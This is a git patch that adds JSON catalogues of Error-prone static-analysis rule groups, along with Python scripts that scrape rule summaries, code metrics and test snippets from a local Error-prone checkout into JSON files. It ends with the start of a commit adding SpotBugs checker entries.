"DuplicateDateFormatField", + "DuplicateMapKeys", + "EffectivelyPrivate", + "EmptyCatch", + "EmptyIfStatement", + "EmptyTopLevelDeclaration", + "EnumOrdinal", + "EqualsGetClass", + "EqualsHashCode", + "EqualsIncompatibleType", + "EqualsNaN", + "EqualsNull", + "EqualsReference", + "EqualsUnsafeCast", + "EqualsUsingHashCode", + "EqualsWrongThing", + "ErroneousBitwiseExpression", + "ErroneousThreadPoolConstructorChecker", + "ExpectedExceptionChecker", + "ExpensiveLenientFormatString", + "ExtendingJUnitAssert", + "ExtendsAutoValue", + "FallThrough", + "FieldCanBeFinal", + "FieldCanBeLocal", + "FieldCanBeStatic", + "Finalize", + "Finally", + "FloatCast", + "FloatingPointAssertionWithinEpsilon", + "FloatingPointLiteralPrecision", + "ForEachIterable", + "ForOverrideChecker", + "FunctionalInterfaceClash", + "FunctionalInterfaceMethodChanged", + "FutureReturnValueIgnored", + "FuturesGetCheckedIllegalExceptionType", + "FutureTransformAsync", + "FuzzyEqualsShouldNotBeUsedInEqualsMethod", + "GetClassOnAnnotation", + "GetClassOnClass", + "GetClassOnEnum", + "GuiceNestedCombine", + "HashtableContains", + "HidingField", + "ICCProfileGetInstance", + "IdentifierName", + "IdentityBinaryExpression", + "IdentityHashMapBoxing", + "IdentityHashMapUsage", + "IgnoredPureGetter", + "ImmutableMemberCollection", + "ImmutableSetForContains", + "ImplementAssertionWithChaining", + "ImpossibleNullComparison", + "Incomparable", + "IncompatibleModifiersChecker", + "InconsistentCapitalization", + "InconsistentHashCode", + "IncorrectMainMethod", + "IncrementInForLoopAndHeader", + "IndexOfChar", + "InexactVarargsConditional", + "InfiniteRecursion", + "InitializeInline", + "InjectOnBugCheckers", + "InlineTrivialConstant", + "InputStreamSlowMultibyteRead", + "InsecureCipherMode", + "InstanceOfAndCastMatchWrongType", + "InterfaceWithOnlyStatics", + "InterruptedExceptionSwallowed", + "Interruption", + "IntFloatConversion", + "IntLiteralCast", + "IntLongMath", + "InvalidPatternSyntax", + "InvalidTimeZoneID", + "InvalidZoneId", + "IsInstanceIncompatibleType", + "IsInstanceOfClass", + "IterableAndIterator", + "IterablePathParameter", + "JavaLangClash", + "JavaUtilDateChecker", + "JdkObsolete", + "JUnit3FloatingPointComparisonWithoutDelta", + "JUnit3TestNotRun", + "JUnit4ClassAnnotationNonStatic", + "JUnit4ClassUsedInJUnit3", + "JUnit4EmptyMethods", + "JUnit4SetUpNotRun", + "JUnit4TearDownNotRun", + "JUnit4TestNotRun", + "JUnit4TestsNotRunWithinEnclosed", + "JUnitAmbiguousTestClass", + "JUnitAssertSameCheck", + "JUnitParameterMethodNotFound", + "LabelledBreakTarget", + "LambdaFunctionalInterface", + "LiteByteStringUtf8", + "LiteEnumValueOf", + "LiteProtoToString", + "LockNotBeforeTry", + "LockOnBoxedPrimitive", + "LockOnNonEnclosingClassLiteral", + "LogicalAssignment", + "LongDoubleConversion", + "LongFloatConversion", + "LongLiteralLowerCaseSuffix", + "LoopConditionChecker", + "LoopOverCharArray", + "LossyPrimitiveCompare", + "MathAbsoluteNegative", + "MathRoundIntLong", + "MemoizeConstantVisitorStateLookups", + "MethodCanBeStatic", + "MisformattedTestData", + "MisleadingEmptyVarargs", + "MisleadingEscapedSpace", + "MissingBraces", + "MissingCasesInEnumSwitch", + "MissingDefault", + "MissingFail", + "MissingImplementsComparable", + "MissingOverride", + "MissingRefasterAnnotation", + "MissingSuperCall", + "MissingTestCall", + "MisusedDayOfYear", + "MisusedWeekYear", + "MixedArrayDimensions", + "MixedDescriptors", + "MixedMutabilityReturnType", + "MockIllegalThrows", + "MockitoDoSetup", + "MockitoUsage", + "MockNotUsedInProduction", + "ModifiedButNotUsed", + "ModifyCollectionInEnhancedForLoop", + "ModifyingCollectionWithItself", + "ModifySourceCollectionInStream", + "MultimapKeys", + "MultipleParallelOrSequentialCalls", + "MultipleTopLevelClasses", + "MultipleUnaryOperatorsInMethodCall", + "MultiVariableDeclaration", + "MustBeClosedChecker", + "MutableGuiceModule", + "MutablePublicArray", + "NamedLikeContextualKeyword", + "NarrowCalculation", + "NarrowingCompoundAssignment", + "NCopiesOfChar", + "NegativeBoolean", + "NegativeCharLiteral", + "NestedInstanceOfConditions", + "NewFileSystem", + "NoAllocationChecker", + "NonApiType", + "NonAtomicVolatileUpdate", + "NonCanonicalStaticImport", + "NonCanonicalStaticMemberImport", + "NonCanonicalType", + "NonFinalCompileTimeConstant", + "NonFinalStaticField", + "NonOverridingEquals", + "NonRuntimeAnnotation", + "NullableConstructor", + "NullableOnContainingClass", + "NullableOptional", + "NullableVoid", + "NullOptional", + "NullTernary", + "ObjectEqualsForPrimitives", + "ObjectsHashCodePrimitive", + "ObjectToString", + "OperatorPrecedence", + "OptionalEquality", + "OptionalMapToOptional", + "OptionalMapUnusedValue", + "OptionalNotPresent", + "OptionalOfRedundantMethod", + "OrphanedFormatString", + "OutlineNone", + "Overrides", + "OverrideThrowableToString", + "OverridingMethodInconsistentArgumentNamesChecker", + "PackageInfo", + "PackageLocation", + "ParameterComment", + "ParameterName", + "ParametersButNotParameterized", + "PatternMatchingInstanceof", + "PreconditionsCheckNotNullRepeated", + "PreconditionsInvalidPlaceholder", + "PreferInstanceofOverGetKind", + "PreferredInterfaceType", + "PrimitiveArrayPassedToVarargsMethod", + "PrimitiveAtomicReference", + "PrivateConstructorForUtilityClass", + "PrivateSecurityContractProtoAccess", + "ProtectedMembersInFinalClass", + "ProtoBuilderReturnValueIgnored", + "ProtocolBufferOrdinal", + "ProtoStringFieldReferenceEquality", + "ProtoTruthMixedDescriptors", + "PublicApiNamedStreamShouldReturnStream", + "RandomCast", + "RandomModInteger", + "ReachabilityFenceUsage", + "RedundantControlFlow", + "RedundantOverride", + "RedundantSetterCall", + "RedundantThrows", + "ReferenceEquality", + "RemoveUnusedImports", + "RequiredModifiersChecker", + "RestrictedApiChecker", + "RethrowReflectiveOperationExceptionAsLinkageError", + "ReturnAtTheEndOfVoidFunction", + "ReturnsNullCollection", + "ReturnValueIgnored", + "RobolectricShadowDirectlyOn", + "RuleNotRun", + "RxReturnValueIgnored", + "SameNameButDifferent", + "SelfAlwaysReturnsThis", + "SelfAssertion", + "SelfAssignment", + "SelfComparison", + "SelfEquals", + "SelfSet", + "SetUnrecognized", + "ShortCircuitBoolean", + "ShouldHaveEvenArgs", + "SizeGreaterThanOrEqualsZero", + "StatementSwitchToExpressionSwitch", + "StaticAssignmentInConstructor", + "StaticAssignmentOfThrowable", + "StaticMockMember", + "StaticQualifiedUsingExpression", + "StreamResourceLeak", + "StreamToIterable", + "StreamToString", + "StringBuilderInitWithChar", + "StringCaseLocaleUsage", + "StringCharset", + "StringConcatToTextBlock", + "StringFormatWithLiteral", + "StringSplitter", + "StronglyTypeByteString", + "SubstringOfZero", + "SunApi", + "SuperCallToObjectMethod", + "SuppressWarningsDeprecated", + "SuppressWarningsWithoutExplanation", + "SwigMemoryLeak", + "SwitchDefault", + "SymbolToString", + "SystemConsoleNull", + "SystemExitOutsideMain", + "SystemOut", + "TestExceptionChecker", + "TestParametersNotInitialized", + "TheoryButNoTheories", + "ThreadJoinLoop", + "ThreadLocalUsage", + "ThreeLetterTimeZoneID", + "ThrowIfUncheckedKnownChecked", + "ThrowIfUncheckedKnownUnchecked", + "ThrowNull", + "ThrowSpecificExceptions", + "ThrowsUncheckedException", + "TooManyParameters", + "ToStringReturnsNull", + "TraditionalSwitchExpression", + "TransientMisuse", + "TreeToString", + "TruthAssertExpected", + "TruthConstantAsserts", + "TruthContainsExactlyElementsInUsage", + "TruthGetOrDefault", + "TryFailRefactoring", + "TryFailThrowable", + "TryWithResourcesVariable", + "TypeEqualsChecker", + "TypeNameShadowing", + "TypeParameterNaming", + "TypeParameterQualifier", + "TypeParameterShadowing", + "TypeParameterUnusedInFormals", + "TypeToString", + "UndefinedEquals", + "UngroupedOverloads", + "UnicodeDirectionalityCharacters", + "UnicodeEscape", + "UnicodeInCode", + "UnnecessarilyFullyQualified", + "UnnecessarilyVisible", + "UnnecessaryAnonymousClass", + "UnnecessaryAssignment", + "UnnecessaryAsync", + "UnnecessaryBoxedAssignment", + "UnnecessaryBoxedVariable", + "UnnecessaryBreakInSwitch", + "UnnecessaryCopy", + "UnnecessaryDefaultInEnumSwitch", + "UnnecessaryFinal", + "UnnecessaryLambda", + "UnnecessaryLongToIntConversion", + "UnnecessaryMethodInvocationMatcher", + "UnnecessaryMethodReference", + "UnnecessaryOptionalGet", + "UnnecessaryParentheses", + "UnnecessaryQualifier", + "UnnecessarySetDefault", + "UnnecessaryStaticImport", + "UnnecessaryStringBuilder", + "UnnecessaryTestMethodPrefix", + "UnnecessaryTypeArgument", + "UnsafeFinalization", + "UnsafeLocaleUsage", + "UnsafeReflectiveConstructionCast", + "UnsynchronizedOverridesSynchronized", + "UnusedAnonymousClass", + "UnusedCollectionModifiedInPlace", + "UnusedException", + "UnusedLabel", + "UnusedMethod", + "UnusedNestedClass", + "UnusedTypeParameter", + "UnusedVariable", + "URLEqualsHashCode", + "UseCorrectAssertInTests", + "UseEnumSwitch", + "VarChecker", + "VariableNameSameAsType", + "Varifier", + "VarTypeName", + "VoidUsed", + "WaitNotInLoop", + "WildcardImport", + "WithSignatureDiscouraged", + "WrongOneof", + "XorPower", + "YodaCondition" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/checkreturnvalue.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/checkreturnvalue.json new file mode 100644 index 0000000..560b32b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/checkreturnvalue.json @@ -0,0 +1,11 @@ +{ + "name": "checkreturnvalue", + "description": null, + "rules": [ + "BuilderReturnThis", + "CanIgnoreReturnValueSuggester", + "NoCanIgnoreReturnValueOnClasses", + "UnnecessarilyUsedValue", + "UsingJsr305CheckReturnValue" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/collectionincompatibletype.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/collectionincompatibletype.json new file mode 100644 index 0000000..bcd275e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/collectionincompatibletype.json @@ -0,0 +1,12 @@ +{ + "name": "collectionincompatibletype", + "description": null, + "rules": [ + "CollectionIncompatibleType", + "CollectionUndefinedEquality", + "CompatibleWithMisuse", + "IncompatibleArgumentType", + "JUnitIncompatibleType", + "TruthIncompatibleType" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/flogger.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/flogger.json new file mode 100644 index 0000000..dc4d32d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/flogger.json @@ -0,0 +1,18 @@ +{ + "name": "flogger", + "description": null, + "rules": [ + "FloggerArgumentToString", + "FloggerFormatString", + "FloggerLogString", + "FloggerLogVarargs", + "FloggerLogWithCause", + "FloggerMessageFormat", + "FloggerRedundantIsEnabled", + "FloggerRequiredModifiers", + "FloggerSplitLogStatement", + "FloggerStringConcatenation", + "FloggerWithCause", + "FloggerWithoutCause" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/formatstring.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/formatstring.json new file mode 100644 index 0000000..b6496f2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/formatstring.json @@ -0,0 +1,11 @@ +{ + "name": "formatstring", + "description": null, + "rules": [ + "AnnotateFormatMethod", + "FormatString", + "FormatStringAnnotationChecker", + "InlineFormatString", + "LenientFormatStringValidation" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/inject.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/inject.json new file mode 100644 index 0000000..0241861 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/inject.json @@ -0,0 +1,25 @@ +{ + "name": "inject", + "description": null, + "rules": [ + "AssistedInjectAndInjectOnConstructors", + "AssistedInjectAndInjectOnSameConstructor", + "AutoFactoryAtInject", + "CloseableProvides", + "InjectedConstructorAnnotations", + "InjectOnConstructorOfAbstractClass", + "InjectOnMemberAndConstructor", + "InvalidTargetingOnScopingAnnotation", + "JavaxInjectOnAbstractMethod", + "JavaxInjectOnFinalField", + "MisplacedScopeAnnotations", + "MissingRuntimeRetention", + "MoreThanOneInjectableConstructor", + "MoreThanOneQualifier", + "MoreThanOneScopeAnnotationOnClass", + "OverlappingQualifierAndScopeAnnotation", + "QualifierOrScopeOnInjectMethod", + "QualifierWithTypeUse", + "ScopeAnnotationOnInterfaceOrAbstractClass" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/inlineme.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/inlineme.json new file mode 100644 index 0000000..865756a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/inlineme.json @@ -0,0 +1,9 @@ +{ + "name": "inlineme", + "description": null, + "rules": [ + "Inliner", + "Suggester", + "Validator" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/javadoc.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/javadoc.json new file mode 100644 index 0000000..a2a1576 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/javadoc.json @@ -0,0 +1,24 @@ +{ + "name": "javadoc", + "description": null, + "rules": [ + "AlmostJavadoc", + "EmptyBlockTag", + "EscapedEntity", + "InheritDoc", + "InvalidBlockTag", + "InvalidInlineTag", + "InvalidLink", + "InvalidParam", + "InvalidSnippet", + "InvalidThrows", + "InvalidThrowsLink", + "MalformedInlineTag", + "MissingSummary", + "NotJavadoc", + "ReturnFromVoid", + "UnescapedEntity", + "UnrecognisedJavadocTag", + "UrlInSee" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/nullness.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/nullness.json new file mode 100644 index 0000000..54f5ec5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/nullness.json @@ -0,0 +1,23 @@ +{ + "name": "nullness", + "description": null, + "rules": [ + "AddNullMarkedToPackageInfo", + "DereferenceWithNullBranch", + "EqualsBrokenForNull", + "EqualsMissingNullable", + "ExtendsObject", + "FieldMissingNullable", + "MultipleNullnessAnnotations", + "NullablePrimitive", + "NullablePrimitiveArray", + "NullableTypeParameter", + "NullableWildcard", + "NullArgumentForNonNullParameter", + "ParameterMissingNullable", + "ReturnMissingNullable", + "UnnecessaryCheckNotNull", + "UnsafeWildcard", + "VoidMissingNullable" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/overloading.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/overloading.json new file mode 100644 index 0000000..ac43a81 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/overloading.json @@ -0,0 +1,7 @@ +{ + "name": "overloading", + "description": null, + "rules": [ + "InconsistentOverloads" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/threadsafety.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/threadsafety.json new file mode 100644 index 0000000..932f843 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/threadsafety.json @@ -0,0 +1,16 @@ +{ + "name": "threadsafety", + "description": null, + "rules": [ + "DoubleCheckedLocking", + "GuardedByChecker", + "ImmutableAnnotationChecker", + "ImmutableChecker", + "ImmutableEnumChecker", + "ImmutableRefactoring", + "StaticGuardedByInstance", + "SynchronizeOnNonFinalField", + "ThreadPriorityCheck", + "ThreadSafeChecker" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/time.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/time.json new file mode 100644 index 0000000..cad4e9c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/groups/time.json @@ -0,0 +1,45 @@ +{ + "name": "time", + "description": null, + "rules": [ + "DateChecker", + "DurationFrom", + "DurationGetTemporalUnit", + "DurationTemporalUnit", + "DurationToLongTimeUnit", + "FromTemporalAccessor", + "InstantTemporalUnit", + "InvalidJavaTimeConstant", + "JavaDurationGetSecondsGetNano", + "JavaDurationGetSecondsToToSeconds", + "JavaDurationWithNanos", + "JavaDurationWithSeconds", + "JavaInstantGetSecondsGetNano", + "JavaLocalDateTimeGetNano", + "JavaLocalTimeGetNano", + "JavaPeriodGetDays", + "JavaTimeDefaultTimeZone", + "JodaConstructors", + "JodaDateTimeConstants", + "JodaDurationWithMillis", + "JodaInstantWithMillis", + "JodaNewPeriod", + "JodaPlusMinusLong", + "JodaTimeConverterManager", + "JodaToSelf", + "JodaWithDurationAddedLong", + "LocalDateTemporalAmount", + "PeriodFrom", + "PeriodGetTemporalUnit", + "PeriodTimeMath", + "PreferJavaTimeOverload", + "ProtoDurationGetSecondsGetNano", + "ProtoTimestampGetSecondsGetNano", + "StronglyTypeTime", + "TemporalAccessorGetChronoField", + "TimeInStaticInitializer", + "TimeUnitConversionChecker", + "TimeUnitMismatch", + "ZoneIdOfZ" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/main/error-prone-main.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/main/error-prone-main.json new file mode 100644 index 0000000..d5f3623 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/main/error-prone-main.json @@ -0,0 +1,6 @@ +{ + "artifactId": "error-prone", + "groupId": null, + "version": null, + "module": ["errorprone-java"] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/modules/modules.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/modules/modules.json new file mode 100644 index 0000000..baf9734 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/modules/modules.json @@ -0,0 +1,22 @@ +{ + "artifactId": "errorprone-java", + "name": "error-prone", + "modelVersion": null, + "groups": [ + "android", + "apidiff", + "argumentselectiondefects", + "bugpatterns", + "checkreturnvalue", + "collectionincompatibletype", + "flogger", + "formatstring", + "inject", + "inlineme", + "javadoc", + "nullness", + "overloading", + "threadsafety", + "time" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Scripts/error-prone-checkers.py b/Raw Data/Static Analysis Tool/Error-prone/Scripts/error-prone-checkers.py new file mode 100644 index 0000000..2f3155a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Scripts/error-prone-checkers.py @@ -0,0 +1,175 @@ +import os +import re +import json + +# 规则代码目录 +base_dir = r"C:\Poorcomputer\Study\Github\error-prone\core\src\main\java\com\google\errorprone\bugpatterns" +# 测试代码目录 +test_base_dir = r"C:\Poorcomputer\Study\Github\error-prone\core\src\test\java\com\google\errorprone\bugpatterns" +# 输出目录 +output_base = r"C:\Poorcomputer\Study\Github\CodingRuleMap\Raw Data\Static Analysis Tool\Error-prone\Rule Information\checkers" + +def count_code_metrics(code: str): + loc = sum(1 for line in code.splitlines() if line.strip() and not line.strip().startswith("//")) + branches = len(re.findall(r'\b(if|else|switch|case|for|while|catch)\b', code)) + apis = len(re.findall(r'\b[A-Z][A-Za-z0-9_]+\s*\(', code)) + return loc, branches, apis + +def extract_summary(annotation_block: str): + pattern = re.compile( + r'summary\s*=\s*((?:"[^"]*"\s*\+\s*)*"[^"]*")', + re.DOTALL + ) + m = pattern.search(annotation_block) + if not m: + return None + raw_summary = m.group(1) + parts = re.findall(r'"([^"]*)"', raw_summary) + summary = ''.join(parts) + return summary + +def extract_annotation_content(text, start_pos): + stack = [] + i = start_pos + n = len(text) + if text[i] != '(': + return None, i + stack.append('(') + i += 1 + start_content = i + while i < n and stack: + if text[i] == '(': + stack.append('(') + elif text[i] == ')': + stack.pop() + i += 1 + if stack: + return None, i + end_content = i - 1 + return text[start_content:end_content], i + +def find_matching_brace(text, start_pos): + if start_pos >= len(text) or text[start_pos] != '{': + return -1 + stack = ['{'] + i = start_pos + 1 + while i < len(text) and stack: + if text[i] == '{': + stack.append('{') + elif text[i] == '}': + stack.pop() + i += 1 + if stack: + return -1 + return i - 1 + +def extract_tests_for_rule(rule_name): + tests = [] + for root, _, files in os.walk(test_base_dir): + for f in files: + if f == f"{rule_name}Test.java": + test_file_path = os.path.join(root, f) + with open(test_file_path, "r", encoding="utf-8") as tf: + test_content = tf.read() + + test_positions = [m.start() for m in re.finditer(r'@Test', test_content)] + + for pos in test_positions: + method_match = re.search( + r'@Test\s*[\r\n\s]*public\s+\w+\s+(\w+)\s*\([^)]*\)\s*(?:throws\s+[^{]+)?\s*\{', + test_content[pos:], re.MULTILINE) + if not method_match: + continue + method_name = method_match.group(1) + + method_start = pos + method_match.start() + start_line_num = test_content[:method_start].count('\n') + 1 + + brace_start = test_content.find('{', method_start) + if brace_start == -1: + continue + brace_end = find_matching_brace(test_content, brace_start) + if brace_end == -1: + continue + method_code_block = test_content[method_start:brace_end+1] + + triple_quote_matches = re.findall(r'"""(.*?)"""', method_code_block, re.DOTALL) + code_str = "\n".join(triple_quote_matches).strip() if triple_quote_matches else "" + + tests.append({ + "description": method_name, + "expected-problems": None, + "expected-linenumbers": [start_line_num], + "code": code_str + }) + + return tests + return [] + +for root, _, files in os.walk(base_dir): + for file in files: + if not file.endswith(".java"): + continue + + file_path = os.path.join(root, file) + with open(file_path, "r", encoding="utf-8") as f: + content = f.read() + + positions = [m.start() for m in re.finditer(r'@BugPattern', content)] + if not positions: + continue + + for pos in positions: + start_paren = content.find('(', pos) + if start_paren == -1: + continue + annotation_block, _ = extract_annotation_content(content, start_paren) + if not annotation_block: + continue + + summary = extract_summary(annotation_block) + if not summary: + continue + + class_match = re.search(r'public\s+(?:final\s+)?class\s+(\w+)', content) + if not class_match: + continue + class_name = class_match.group(1) + + loc, branches, apis = count_code_metrics(content) + + tests = extract_tests_for_rule(class_name) + + relative_path = os.path.relpath(file_path, base_dir) + subfolder = os.path.dirname(relative_path) + rule_name = os.path.splitext(file)[0] + output_dir = os.path.join(output_base, subfolder) + os.makedirs(output_dir, exist_ok=True) + output_path = os.path.join(output_dir, rule_name + ".json") + + rule_info = { + "name": rule_name, + "language": "java", + "description": summary, + "example": None, + "cwe": None, + "cwe-description": None, + "checker-language": "java", + "loc": loc, + "branches": branches, + "apis": apis, + "test": tests if tests else [ + { + "description": None, + "expected-problems": None, + "expected-linenumbers": [], + "code": "" + } + ] + } + + with open(output_path, "w", encoding="utf-8") as out_f: + json.dump(rule_info, out_f, indent=2, ensure_ascii=False) + print(f"生成规则文件: {output_path}") + + break # 每文件只处理第一个规则 diff --git a/Raw Data/Static Analysis Tool/Error-prone/Scripts/error-prone-groups.py b/Raw Data/Static Analysis Tool/Error-prone/Scripts/error-prone-groups.py new file mode 100644 index 0000000..8ba6dcd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Scripts/error-prone-groups.py @@ -0,0 +1,53 @@ +import os +import json + +base_dir = r"C:\Poorcomputer\Study\Github\error-prone\core\src\main\java\com\google\errorprone\bugpatterns" +output_base = r"C:\Poorcomputer\Study\Github\CodingRuleMap\Raw Data\Static Analysis Tool\Error-prone\Rule Information\groups" + +def is_rule_file(filepath): + try: + with open(filepath, "r", encoding="utf-8") as f: + content = f.read() + return '@BugPattern' in content + except: + return False + +groups = {} + +# 处理 base 目录下的规则文件 +base_files = [] +for f in os.listdir(base_dir): + if f.endswith(".java"): + full_path = os.path.join(base_dir, f) + if is_rule_file(full_path): + base_files.append(os.path.splitext(f)[0]) + +if base_files: + groups["bugpatterns"] = base_files + +# 遍历一级子目录,收集规则文件 +for entry in os.listdir(base_dir): + full_path = os.path.join(base_dir, entry) + if os.path.isdir(full_path): + rules = [] + for f in os.listdir(full_path): + if f.endswith(".java"): + rule_path = os.path.join(full_path, f) + if is_rule_file(rule_path): + rules.append(os.path.splitext(f)[0]) + if rules: + groups[entry] = rules + +# 保存每个组的 JSON 文件 +for group_name, rules in groups.items(): + group_info = { + "name": group_name, + "description": None, + "rules": rules + } + + output_path = os.path.join(output_base, f"{group_name}.json") + with open(output_path, "w", encoding="utf-8") as f: + json.dump(group_info, f, indent=2, ensure_ascii=False) + + print(f"生成组文件: {output_path}") diff --git a/Raw Data/Static Analysis Tool/Error-prone/Scripts/error-prone-modules.py b/Raw Data/Static Analysis Tool/Error-prone/Scripts/error-prone-modules.py new file mode 100644 index 0000000..67241e5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Scripts/error-prone-modules.py @@ -0,0 +1,50 @@ +import os +import json + +base_dir = r"C:\Poorcomputer\Study\Github\error-prone\core\src\main\java\com\google\errorprone\bugpatterns" +output_base = r"C:\Poorcomputer\Study\Github\CodingRuleMap\Raw Data\Static Analysis Tool\Error-prone\Rule Information\modules" +modules_json_path = os.path.join(output_base, "modules.json") + +def is_rule_file(filepath): + try: + with open(filepath, "r", encoding="utf-8") as f: + content = f.read() + return '@BugPattern' in content + except: + return False + +groups = [] + +# 检查根目录是否有规则文件 +root_rules = [] +for f in os.listdir(base_dir): + full_path = os.path.join(base_dir, f) + if f.endswith(".java") and is_rule_file(full_path): + root_rules.append(f) +if root_rules: + groups.append("bugpatterns") + +# 遍历一级子目录,判断是否为规则组 +for entry in os.listdir(base_dir): + full_path = os.path.join(base_dir, entry) + if os.path.isdir(full_path): + has_rule = False + for f in os.listdir(full_path): + if f.endswith(".java") and is_rule_file(os.path.join(full_path, f)): + has_rule = True + break + if has_rule: + groups.append(entry) + +modules_info = { + "artifactId": "errorprone-java", + "name": "error-prone", + "modelVersion": None, + "groups": sorted(groups) +} + +os.makedirs(output_base, exist_ok=True) +with open(modules_json_path, "w", encoding="utf-8") as f: + json.dump(modules_info, f, indent=2, ensure_ascii=False) + +print(f"生成 modules 文件: {modules_json_path}") From aea5dbe8bf94c9023b4a410c0879c8552e52dc5f Mon Sep 17 00:00:00 2001 From: Meiosis <145437200+Meiosis-Poor@users.noreply.github.com> Date: Wed, 6 Aug 2025 17:10:59 +0800 Subject: [PATCH 5/7] Add spotbugs --- .../checkers/AWTEventQueueExecutor.json | 13 + .../checkers/AbstractBugReporter.json | 41 ++ .../checkers/AddMessages.json | 13 + .../AnalysisCacheToRepositoryAdapter.json | 13 + .../checkers/AnalysisError.json | 13 + .../checkers/AnalysisLocal.json | 13 + .../checkers/AnalysisOptions.json | 13 + .../Rule Information/checkers/Analyze.json | 13 + .../Rule Information/checkers/AppVersion.json | 13 + .../checkers/BugAccumulator.json | 13 + .../checkers/BugAnnotation.json | 13 + .../checkers/BugAnnotationUtil.json | 13 + .../checkers/BugAnnotationVisitor.json | 13 + .../BugAnnotationWithSourceLines.json | 13 + .../checkers/BugCategory.json | 13 + .../Rule Information/checkers/BugCode.json | 13 + .../checkers/BugCollection.json | 13 + .../checkers/BugCollectionBugReporter.json | 32 ++ .../checkers/BugInstance.json | 104 ++++ .../Rule Information/checkers/BugPattern.json | 13 + .../checkers/BugProperty.json | 13 + .../checkers/BugRankCategory.json | 13 + .../Rule Information/checkers/BugRanker.json | 23 + .../checkers/BugReportDispatcher.json | 13 + .../checkers/BugReporter.json | 13 + .../checkers/BugReporterObserver.json | 13 + .../checkers/ByteCodePatternDetector.json | 13 + .../checkers/BytecodeScanningDetector.json | 13 + .../Rule Information/checkers/CallGraph.json | 13 + .../checkers/CallGraphEdge.json | 13 + .../checkers/CallGraphNode.json | 13 + .../Rule Information/checkers/CallSite.json | 13 + .../CategoryFilteringBugReporter.json | 13 + .../Rule Information/checkers/CheckBcel.json | 13 + .../checkers/ClassAnnotation.json | 13 + .../checkers/ClassScreener.json | 77 +++ .../checkers/ClassWarningSuppressor.json | 13 + .../checkers/CommandLineUiCallback.json | 13 + .../checkers/ComponentPlugin.json | 13 + .../checkers/ConfigurableBugReporter.json | 13 + .../CurrentThreadExecutorService.json | 41 ++ .../checkers/DeepSubtypeAnalysis.json | 13 + .../checkers/DelegatingBugReporter.json | 13 + .../Rule Information/checkers/Detector.json | 13 + .../Rule Information/checkers/Detector2.json | 13 + .../checkers/DetectorFactory.json | 13 + .../checkers/DetectorFactoryChooser.json | 13 + .../checkers/DetectorFactoryCollection.json | 13 + .../checkers/DetectorToDetector2Adapter.json | 13 + .../checkers/DiscoverSourceDirectories.json | 13 + .../checkers/EmacsBugReporter.json | 13 + .../checkers/ErrorCountingBugReporter.json | 32 ++ .../checkers/ExcludingHashesBugReporter.json | 13 + .../Rule Information/checkers/ExitCodes.json | 13 + .../checkers/FatalException.json | 13 + .../checkers/FieldAnnotation.json | 13 + .../checkers/FieldWarningSuppressor.json | 13 + .../checkers/FilterBugReporter.json | 13 + .../Rule Information/checkers/FindBugs.json | 13 + .../Rule Information/checkers/FindBugs2.json | 13 + .../checkers/FindBugsAnalysisFeatures.json | 13 + .../checkers/FindBugsCommandLine.json | 13 + .../checkers/FindBugsDisplayFeatures.json | 13 + .../checkers/FindBugsMain.json | 13 + .../checkers/FindBugsMessageFormat.json | 13 + .../checkers/FindBugsProgress.json | 13 + .../checkers/FirstPassDetector.json | 13 + .../Rule Information/checkers/Footprint.json | 13 + .../checkers/FuzzyBugComparator.json | 13 + .../checkers/GlobalOptions.json | 13 + 